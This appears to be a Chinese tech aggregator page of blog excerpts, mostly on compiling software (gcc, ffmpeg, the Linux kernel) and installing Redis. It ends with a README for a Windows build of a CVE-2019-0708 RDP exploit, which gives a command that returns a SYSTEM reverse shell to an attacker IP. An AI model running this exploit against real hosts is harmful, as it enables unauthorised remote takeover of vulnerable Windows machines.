linux编译

编译系统VS解释系统

旧城冷巷雨未停 提交于 2020-01-26 01:55:01
下面关于解释系统和编译系统的说法中,错误的是() A.解释程序不产生目标代码,直接执行源程序或源程序的内部形式 B.使用编译系统时会区分编译阶段和运行阶段 C.一般来说,解释系统比编译系统复杂,但是可移植性好 D.一般来说,建立在编译基础上的系统执行速度要比建立在解释基础上的系统快 答案是选A, 错在后半部分,并不是直接执行源程序,而是必须要转换为机器可识别码才能运行 C++代码每一次进行更新都需要重新编译,有些大型系统编译一次需要花很长时间,这就对系统的调试带来很多不便,如linux内核,这个是编译系统的一个不足。 下面是对编译型语言和解释型语言介绍: 编译型语言: 编译是指在应用源程序执行之前,就将程序源代码“翻译”成目标代码(机器语言),因此其目标程序可以脱离其语言环境独立执行,使用比较方便、效率较高。但应用程序一旦需要修改,必须先修改源代码,再重新编译生成新的目标文件(* .OBJ)才能执行,只有目标文件而没有源代码,修改很不方便。现在大多数的编程语言都是编译型的。编译程序将源程序翻译成目标程序后保存在另一个文件中,该目标程序可脱离编译程序直接在计算机上多次运行。大多数软件产品都是以目标程序形式发行给用户的,不仅便于直接运行,同时又使他人难于盗用其中的技术C、C++、Fortran、Visual Foxpro、Pascal、Delphi、Ada都是编译实现的。 解释型语言:

从动手到放弃之我不要自己编译ffmpeg了 【踩坑+草稿篇】

这一生的挚爱 提交于 2020-01-25 12:17:16
原本我在想要不要放出这篇文章来的,因为这篇文章不成熟,都是在编译ffmpeg---即使有前人放出来的源代码,但还是出现种种问题了----历经的各种坑,各种bug,但是其实一想,这些问题不会只有我一个人遇到的,放出来起码能让其他人做出参考。 在编译ffmpeg这期间,其实很耗时间,主要是不熟c++、cmake、makefile这些,还有几篇文章也是草稿类型,也是同时期涂鸦的: 都是废稿,不过可以说明一下ffmpeg不是拿一个源代码包编译就可以的: [运维] ubuntu等linux下编译配置ffmpeg以供c++调用[草稿] [运维] ubuntu等linux下编译配置ffmpeg以供c++调用 下面是正文: 前前言 我也不想有这个前前言的,然而,人工手动编译ffmpeg的难度已经超过我的想象了,即使有前人的智慧,但是我还是各种地雷,这个只是用来做踩坑用的一篇小笔记,如果正式要编译的话,那么直接看正式篇吧,这篇踩坑篇用来做什么?用来记录还有告诉其他人,你遇到的坑已经有人填过了。 前言 因为要涉足音视频的开发,所以,需要编译一下ffmpeg为静态库然后用c++调用。 然后,这种编译我重复了多次还是没办法成功---光是依赖都一大堆,而且要逐个编译--整个人都崩溃了,不过,好在看到了其他兄弟的编译脚本,尚算有一丝希望。 可以参考这个兄弟的: https://github.com

gcc参数详解

心已入冬 提交于 2020-01-25 08:40:19
gcc and g++分别是gnu的c &c++编译器 gcc/g++在执行编译工作的时候,总共需要4步   1.预处理,生成.i的文件[预处理器cpp]   2.将预处理后的文件不转换成汇编语言,生成文件.s[编译器egcs]   3.有汇编变为目标代码(机器代码)生成.o的文件[汇编器as]   4.连接目标代码,生成可执行程序[链接器ld]   [参数详解]   -x language filename   设定文件所使用的语言,使后缀名无效,对以后的多个有效.也就是根据约定C语言的后   缀名称是.c的,而C++的后缀名是.C或者.cpp,如果你很个性,决定你的C代码文件的后缀   名是.pig 哈哈,那你就要用这个参数,这个参数对他后面的文件名都起作用,除非到了   下一个参数的使用。   可以使用的参数吗有下面的这些   `c', `objective-c', `c-header', `c++', `cpp-output', `assembler', and `a   ssembler-with-cpp'.   看到英文,应该可以理解的。   例子用法:   gcc -x c hello.pig   -x none filename   关掉上一个选项,也就是让gcc根据文件名后缀,自动识别文件类型   例子用法:   gcc -x c hello.pig -x

arm-linux-gcc 常用参数讲解 gcc编译器使用方法

拟墨画扇 提交于 2020-01-25 08:03:07
我们需要编译出运行在ARM平台上的代码,所 使用 的交叉编译器为 arm-linux-gcc 。下面将 arm-linux-gcc 编译工具的一些常用命令参数介绍给大家。 在此之前首先介绍下编译器的工作过程,在 使用 GCC编译程序时,编译过程分为四个阶段: 1. 预处理(Pre-Processing) 2. 编译(Compiling) 3. 汇编(Assembling) 4. 链接(Linking) Linux程序员可以根据自己的需要让 GCC在编译的任何阶段结束,以便检查或 使用 编译器在该阶段的输出信息,或者对最后生成的二进制文件进行控制,以便通过加入不同数量和种类的调试代码来为 今后的调试做好准备。和其它常用的编译器一样,GCC也提供了灵活而强大的代码优化功能,利用它可以生成执行效率更高的代码。 以文件example.c为例说明它的用法 0. arm-linux-gcc -o example example.c 不加-c、-S、-E参数,编译器将执行预处理、编译、汇编、连接操作直接生成可执行代码。 -o参数用于指定输出的文件,输出文件名为example,如果不指定输出文件,则默认输出a.out 1. arm-linux-gcc -c -o example.o example.c -c参数将对源程序example.c进行预处理、编译、汇编操作,生成example.o文件

Linux应用开发入门(转)

风格不统一 提交于 2020-01-25 08:01:54
今天偶然看到这篇文章,做个入门了解还是不错的。 前 一阵子在QQ上和朋友聊天的时候,总会看到有人说Linux上的应用程序开发是高手才可以完成的,而且这种“迷信”在目前似乎还很普遍。然而,情况并不是这样的,从程序库的支持方面,Linux平台为用户级应用程序的开发提供了很多功能强大且丰富的程序库,而且它们大部分是跨平台的(Boost、OpenGL、STL、Qt、Java等)和基于POSIX标准的(glibc等),同时Linux内核还为驱动程序的开发提供了功能完备的内核接口,从开发工具方面,Linux提供了功能强大的编译器GCC和调试器GDB,借助它们的帮助,我们可以很轻松的在Linu x上开发出可移植性的应用程序。既然如此,“迷信”又源于何来呢?我想,一方面由于详细介绍Linux各种开发的书籍较少,各种Linux应用在国内仍不普及,另一方面则是由于很多人在安装好一个Linux后,苦于找不到一个得心应手的IDE环境,从而感到不知所措,毕竟,我们很多人都习惯了写好程序后,按下F5,剩下的任务就让IDE全权代理了。其实想在Linux下如此这般当然也没问题。既然说到了IDE,就让我们从它开始吧,相信选择一个好的IDE环境是你整个学习过程的一个不错的开始。 工欲善其事 必先利其器——IDE篇 其实Linux下有许多功能强大的IDE环境,因为从某种意义上说,Linux是专为开发者准备的操作系统

linux下使用g++编译cpp工程

浪尽此生 提交于 2020-01-25 08:01:10
C++ 编程中相关文件后缀 1. 单个源文件生成可执行程序 下面是一个保存在文件 helloworld.cpp 中一个简单的 C++ 程序的代码: 1 /* helloworld.cpp */ 2 #include <iostream> 3 int main(int argc,char *argv[]) 4 { 5 std::cout << "hello, world" << std::endl; 6 return(0); 7 } 程序使用定义在头文件 iostream 中的 cout ,向标准输出写入一个简单的字符串。该代码可用以下命令编译为可执行文件: 1 $ g++ helloworld.cpp 编译器 g++ 通过检查命令行中指定的文件的后缀名可识别其为 C++ 源代码文件。编译器默认的动作:编译源代码文件生成对象文件 (object file) ,链接对象文件和 libstdc++ 库中的函数得到可执行程序。然后删除对象文件。由于命令行中未指定可执行程序的文件名,编译器采用默认的 a.out 。程序可以这样来运行: 1 $ ./a.out 2 3 hello, world 更普遍的做法是通过 -o 选项指定可执行程序的文件名。下面的命令将产生名为 helloworld 的可执行文件: 1 $ g++ helloworld.cpp -o helloworld

Redis安装

独自空忆成欢 提交于 2020-01-25 01:40:26
1 Linux版本用的CentOs6.5 2 下载地址: http://download.redis.io/releases/redis-5.0.5.tar.gz 3 解压 4 进入目录并编译 编译过程中可能会出错,如果出错了检查gcc的版本是否低于5,如果低了请先升级,可以使用以下命令: sudo yum install centos-release-scl sudo yum install devtoolset-7-gcc* scl enable devtoolset-7 bash 升级完成后再次编译,如果怕出问题 就直接先把[redis-5.0.5]的文件夹删除掉,重新解压后再次编译 5 启动Redis ./src/redis-server 6 服务启动后,新开一个窗口,使用内置的客户端与Redis进行交互测试 7 停止服务 关闭redis. kill方式: ps -ef|grep redis 查找id shutdown方式: ./redis-cli -p 6379 shutdown 来源: CSDN 作者: m_522760200 链接: https://blog.csdn.net/m0_46189827/article/details/103969818

运行编译后的程序报错 error while loading shared libraries: lib*.so: cannot open shared object file: No such file or directory

孤街浪徒 提交于 2020-01-24 20:49:04
   运行编译后的程序报错 error while loading shared libraries: lib*.so: cannot open shared object file: No such file or directory -------------------------------------------------------------------------------------------------------------------------------------------------   首先说明一下,这个题目有点长,但是却很好地反应了遇到的问题点。   在《如何用C代码生成二维码》一文中,小编也向大家展示了在正确无误地编译好qrcode_test程序后,运行报错的问题。这次我们再拿出来说一说。 当时在终端手动./运行程序报错的提示 ./qrcode_test: error while loading shared libraries: libzint.so.2.4: cannot open shared object file: No such file or directory   大概的意思就是在运行程序的时候,没有找到程序所需的libzint.so动态库。大家都知道,动态库与静态库的最大区别就是:静态库是 静态链接

linux内核配置与编译

扶醉桌前 提交于 2020-01-24 13:52:29
清除临时文件、中间文件和配置文件命令: make clean //remove most generated files but keep the config make mrproper //remove all generated files + config files make distclean //mrproper + remove editor backup and patch files 配置内核命令: make config:基于文本模式的交互式配置。 make menuconfig ARCH=i386:基于文本模式的菜单型配置。//“*”编译成内核(按y)(生成镜像),“m”编译成模块(按m)(生成点o文件),“ ”为不编译(按n) 配置完成之后会在当前文件夹下生成.config文件。 Linux内核提供了一系列可供参考的内核配置文件,位于 ./arch/$cpu/configs 。 编译内核: make zImage//获取详细信息make zImage V=1 make bzImage//获取详细信息make bzImage V=1 区别:在X86平台,zImage只能用于小于512K的内核 编译好的内核文件位于 ./arch/ $ cpu/boot/ (文件名为bzImage)。 编译内核模块: make modules 安装内核模块: make

CVE-2019-0708-EXP之Windows版

时光毁灭记忆、已成空白 提交于 2020-01-24 05:49:40
CVE-2019-0708-EXP-Windows-Version 申明 作者poc仅供研究目的,如果读者利用本poc从事其他行为,与本人无关 目录 文章目录 CVE-2019-0708-EXP-Windows-Version 申明 目录 介绍 复现环境 使用说明 安装教程 Openssl编译环境安装教程 Nasm编译环境安装教程 运行效果 项目托管 参与贡献 介绍 CVE-2019-0708-EXP-Windows版单文件exe运行,无需linux,python,ruby等,运行后直接在当前控制台反弹System权限Shell 编译采用全静态库模式内联所有dll,集成netcat和openssl,支持进度条显示,shell回显操作 复现环境 被攻击者操作系统Victim:Windows 7 sp1 x64位操作系统 攻击者操作系统Attacker:Windows 10 x64位操作系统 编译环境Visual Studio 2013 使用说明 进入CVE-2019-0708-EXP-Release目录 运行wfreerdp.exe /v:Victim_IP /l:Attacker_IP,如wfreerdp.exe /v:10.120.1.160 /l:10.120.1.17 安装教程 复制FreeRDP-master项目至E:\git\KernelResearch\FreeRDP